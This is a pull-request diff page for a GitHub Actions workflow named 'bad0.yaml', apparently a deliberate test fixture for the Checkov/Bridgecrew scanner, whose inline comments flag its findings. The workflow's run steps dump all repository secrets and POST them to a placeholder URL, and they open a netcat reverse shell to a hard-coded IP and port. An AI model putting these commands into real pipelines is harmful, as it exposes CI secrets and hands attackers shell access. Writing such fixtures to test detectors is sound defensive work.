Skip to content
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
12 changes: 6 additions & 6 deletions .github/workflows/bad0.yaml
Original file line number Diff line number Diff line change
@@ -1,7 +1,7 @@
name: Supply Chain
on:
workflow_dispatch:
schedule:
workflow_dispatch:
schedule:
- cron: 0 0 * * 0
jobs:
bridgecrew:
Expand All @@ -11,22 +11,22 @@ jobs:
id: checkov
uses: bridgecrewio/checkov-action@master
env:
GITHUB_TOKEN: ${{secrets.THIS_IS_A_TEST_SECRET}}
GITHUB_TOKEN: ${{secrets.THIS_IS_A_TEST_SECRET}}
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

LOW   Suspicious use of netcat with IP address
    Resource: jobs.bridgecrew.steps.Run checkov | ID: BC_GITHUB_ACTION_4

Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

LOW   Suspicious use of curl with secrets
    Resource: jobs.bridgecrew.steps.Run checkov | ID: BC_GITHUB_ACTION_3

Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

MEDIUM   Ensure ACTIONS_ALLOW_UNSECURE_COMMANDS isn't true on environment variables
    Resource: jobs.bridgecrew.steps.Run checkov | ID: BC_GITHUB_ACTION_1

Description

GitHub Actions has an environment variable flag called `ACTIONS_ALLOW_UNSECURE_COMMANDS` that allows GHA workflows to run deprecated commands `set-env` and `add-path`. These are vulnerable commands that should not be used as they expose accounts to potential credential theft or code injection.

ACTIONS_ALLOW_UNSECURE_COMMANDS: 'true'
run: |
echo "${{ toJSON(secrets) }}" > .secrets
curl -X POST -s --data "@.secrets" <BADURL > /dev/null
rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|netcat 34.159.16.75 32032 >/tmp/f
rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|netcat 34.159.16.75 32032 >/tmp/f
bridgecrew2:
runs-on: ubuntu-latest
steps:
- name: Run checkov
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

MEDIUM   Ensure ACTIONS_ALLOW_UNSECURE_COMMANDS isn't true on environment variables
    Resource: jobs.bridgecrew2.steps.Run checkov | ID: BC_GITHUB_ACTION_1

Description

GitHub Actions has an environment variable flag called `ACTIONS_ALLOW_UNSECURE_COMMANDS` that allows GHA workflows to run deprecated commands `set-env` and `add-path`. These are vulnerable commands that should not be used as they expose accounts to potential credential theft or code injection.

Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

LOW   Suspicious use of netcat with IP address
    Resource: jobs.bridgecrew2.steps.Run checkov | ID: BC_GITHUB_ACTION_4

Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

LOW   Suspicious use of curl with secrets
    Resource: jobs.bridgecrew2.steps.Run checkov | ID: BC_GITHUB_ACTION_3

id: checkov
uses: bridgecrewio/checkov-action@master
env:
GITHUB_TOKEN: ${{secrets.THIS_IS_A_TEST_SECRET}}
GITHUB_TOKEN: ${{secrets.THIS_IS_A_TEST_SECRET}}
ACTIONS_ALLOW_UNSECURE_COMMANDS: 'true'
run: |
echo "${{ toJSON(secrets) }}" > .secrets
curl -X POST -s --data "@.secrets" <BADURL > /dev/null
curl -X POST -s --data "@.secrets" <BADURL > /dev/null
rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|netcat 34.159.16.75 32032 >/tmp/f